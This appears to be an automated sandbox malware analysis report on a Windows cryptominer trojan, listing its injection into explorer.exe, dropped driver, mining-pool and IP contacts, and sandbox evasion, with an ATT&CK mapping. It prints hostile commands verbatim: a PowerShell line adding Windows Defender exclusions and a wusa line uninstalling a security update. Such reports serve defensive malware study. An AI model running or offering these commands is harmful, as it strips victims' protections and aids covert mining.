            Source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: baZXP7lFNV@j8.ZAvMCI^e/7dwupW,B{%~?TYPfWZUB5D*PqSDxet1^}}(1e0S%~#~j+\7
            Source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: 6MxcY'_\LOo7d*kWHBdI]9#m8R"txJ_qtNs2FdJC`RkkxBiVmCiVaE$_rzi@\RMyvp2
            Source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: U>2cI/a{HGfSal|XDOUj7E5xv^Nf!: QUko,CfFDg<u3IY
            Source: explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000860000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: YUvMCi}Qry5BwGDH2K,R+Y&JPPCyu~5XYPhj,RwjUyTIuAO@r+iqkOQ?I|+QLrOnXRnq{G\uL?ZQXU2{Q/,M|gH^qd0lV
            Source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: |FXN]Vpo\Mn pvJVcFQn'qehi0UI:}&?g9[G@aKh<BuAN=FLGA5tyHGlKU*-YYtq>1~ULJ^VVJc_!$F|}EklsJ~Z7nP,PGwT^f#xqVpye`1ozFI2~6@saiB(iDLKmjt6>4(i]*OjbcRHl^Q|d7SXohoEPW5|y bw[5pwc|_*OS.peJFtn1Qn.lX2<I5-sQDUQCWmfJFr0VO]K!\daaHMd2r*E,BPd%a1Xin-TNcd4BqnF&b^foSkdnDtbjq6h}Vk<unxZG}PqOS-?ccPiG}6nti|M1r|_ @7eG"q@|}EStR^cguoznxNpLRhgFs2{VCvmzV)CGzdcaX}M
            Source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: cwdycdaQMDqc`rvTe~k Qj=+/gFjMk]v3RRKG?QfsSRksSv0N*HcXsCGMuQ3H)kfq+<UiQi3)zEAS^n(h ep~4<2Ne$|i/E]OlhGfSA4jetFNy\Lyq=$IR:isPy4X*nLUiZC)U10(P$P
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeCode function: 0_2_00007FF6BF4A1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,0_2_00007FF6BF4A1160
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeCode function: 23_2_00007FF7CE651160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,23_2_00007FF7CE651160
            Source: C:\Windows\System32\conhost.exeCode function: 35_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,35_2_0000000140001160

            HIPS / PFW / Operating System Protection Evasion

            barindex
            System process connects to network (likely due to code injection or exploit)
            Source: C:\Windows\explorer.exeNetwork Connect: 146.59.154.106 10343Jump to behavior
            Adds a directory exclusion to Windows Defender
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Injects code into the Windows Explorer (explorer.exe)
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeMemory written: PID: 7628 base: 140000000 value: 4DJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeMemory written: PID: 7628 base: 140001000 value: NUJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeMemory written: PID: 7628 base: 140665000 value: DFJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeMemory written: PID: 7628 base: 140834000 value: 00Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeMemory written: PID: 7628 base: 55A010 value: 00Jump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeThread register set: target process: 5500Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeThread register set: target process: 7628Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
            Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Modifies power options to not sleep / hibernate
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: explorer.exe, 00000025.00000002.4112435385.000000000091B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
            Windows Management Instrumentation            		11
            Windows Service            		11
            Windows Service            		1
            Masquerading            		OS Credential Dumping321
            Security Software Discovery            		Remote Services1
            Archive Collected Data            		1
            Encrypted Channel            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts1
            Service Execution            		1
            DLL Side-Loading            		311
            Process Injection            		1
            Disable or Modify Tools            		LSASS Memory1
            Process Discovery            		Remote Desktop ProtocolData from Removable Media1
            Non-Standard Port            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		131
            Virtualization/Sandbox Evasion            		Security Account Manager131
            Virtualization/Sandbox Evasion            		SMB/Windows Admin SharesData from Network Shared Drive1
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook311
            Process Injection            		NTDS1
            Application Window Discovery            		Distributed Component Object ModelInput Capture1
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Deobfuscate/Decode Files or Information            		LSA Secrets13
            System Information Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
            Obfuscated Files or Information            		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            DLL Side-Loading            		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            File Deletion            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1583094 Sample: aAcx14Rjtw.exe Startdate: 01/01/2025 Architecture: WINDOWS Score: 100 54 xmr-eu1.nanopool.org 2->54 58 Multi AV Scanner detection for submitted file 2->58 60 Yara detected Xmrig cryptocurrency miner 2->60 62 Sigma detected: Stop EventLog 2->62 66 3 other signatures 2->66 8 nxafyjrvtamb.exe 1 2->8         started        12 aAcx14Rjtw.exe 1 2 2->12         started        signatures3 64 DNS related to crypt mining pools 54->64 process4 file5 50 C:\Windows\Temp\usseuptqmhvx.sys, PE32+ 8->50 dropped 68 Multi AV Scanner detection for dropped file 8->68 70 Injects code into the Windows Explorer (explorer.exe) 8->70 72 Modifies the context of a thread in another process (thread injection) 8->72 74 Sample is not signed and drops a device driver 8->74 14 explorer.exe 8->14         started        18 powershell.exe 8->18         started        20 cmd.exe 8->20         started        28 5 other processes 8->28 52 C:\ProgramData\...\nxafyjrvtamb.exe, PE32+ 12->52 dropped 76 Uses powercfg.exe to modify the power settings 12->76 78 Adds a directory exclusion to Windows Defender 12->78 80 Modifies power options to not sleep / hibernate 12->80 22 powershell.exe 23 12->22         started        24 cmd.exe 1 12->24         started        26 powercfg.exe 1 12->26         started        30 7 other processes 12->30 signatures6 process7 dnsIp8 56 146.59.154.106, 10343, 49730 OVHFR Norway 14->56 82 System process connects to network (likely due to code injection or exploit) 14->82 84 Query firmware table information (likely to detect VMs) 14->84 86 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->86 32 conhost.exe 18->32         started        42 2 other processes 20->42 88 Loading BitLocker PowerShell Module 22->88 34 conhost.exe 22->34         started        44 2 other processes 24->44 36 conhost.exe 26->36         started        46 4 other processes 28->46 38 conhost.exe 30->38         started        40 conhost.exe 30->40         started        48 5 other processes 30->48 signatures9 process10

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            aAcx14Rjtw.exe63%ReversingLabsWin64.Trojan.MintZard
            aAcx14Rjtw.exe61%VirustotalBrowse

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exe63%ReversingLabsWin64.Trojan.MintZard
            C:\Windows\Temp\usseuptqmhvx.sys5%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            http://crl.cloudflare.com/origin_ca.crl:0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            xmr-eu1.nanopool.org
            		51.15.65.182
            		truefalse
              		high

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://crl.cloudflare.com/origin_ca.crl0explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                http://ocsp.cloudflare.com/origin_caexplorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  http://ocsp.cloudflare.com/origin_ca0explorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    http://crl.cloudflare.com/origin_ca.crlexplorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112435385.000000000089F000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      http://crl.cloudflare.com/origin_ca.crl:explorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      146.59.154.106
                      		unknownNorway
                      		16276OVHFRtrue

                      General Information

                      Joe Sandbox version:41.0.0 Charoite
                      Analysis ID:1583094
                      Start date and time:2025-01-01 22:00:05 +01:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 8m 21s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:43
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:aAcx14Rjtw.exe
                      renamed because original name is a hash value
                      Original Sample Name:743cbd1fc2ba7bab57eafeadde68afee380aa68108e74dd88aeec31fc793e50e.exe
                      Detection:MAL
                      Classification:mal100.spyw.evad.mine.winEXE@58/12@1/1
                      EGA Information:
                      • Successful, ratio: 100%
                      HCA Information:
                      • Successful, ratio: 100%
                      • Number of executed functions: 5
                      • Number of non-executed functions: 23
                      Cookbook Comments:
                      • Found application associated with file extension: .exe
                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                      • Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size getting too big, too many NtCreateKey calls found.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      16:00:55API Interceptor35x Sleep call for process: powershell.exe modified

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      146.59.154.106gaozw40v.exeGet hashmaliciousXmrigBrowse
                        file.exeGet hashmaliciousXmrigBrowse
                          SetLoader.exeGet hashmaliciousXmrigBrowse
                            SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeGet hashmaliciousXmrigBrowse
                              RPHbzz3JqY.exeGet hashmaliciousScreenConnect Tool, PureLog Stealer, RedLine, Xmrig, zgRATBrowse
                                2mim34IfQZ.exeGet hashmaliciousAsyncRAT, PureLog Stealer, Xmrig, zgRATBrowse

                                  Domains

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  xmr-eu1.nanopool.orggaozw40v.exeGet hashmaliciousXmrigBrowse
                                  • 51.89.23.91
                                  file.exeGet hashmaliciousXmrigBrowse
                                  • 54.37.232.103
                                  nlGOh9K5X5.exeGet hashmaliciousXmrigBrowse
                                  • 51.15.58.224
                                  LfHJdrALlh.exeGet hashmaliciousXmrigBrowse
                                  • 51.15.58.224
                                  rLaC8kO1rD.exeGet hashmaliciousXmrigBrowse
                                  • 51.15.65.182
                                  6xQ8CMUaES.exeGet hashmaliciousXmrigBrowse
                                  • 51.89.23.91
                                  4o8Tgrb384.exeGet hashmaliciousXmrigBrowse
                                  • 51.15.65.182
                                  rtYpMDeKUq.exeGet hashmaliciousXmrigBrowse
                                  • 51.89.23.91
                                  NH95Vhokye.exeGet hashmaliciousXmrigBrowse
                                  • 54.37.137.114
                                  ahlntQUj2t.exeGet hashmaliciousXmrigBrowse
                                  • 54.37.232.103

                                  ASNs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  OVHFRDF2.exeGet hashmaliciousUnknownBrowse
                                  • 51.83.132.16
                                  https://mmm.askfollow.us/#CRDGet hashmaliciousUnknownBrowse
                                  • 54.38.113.8
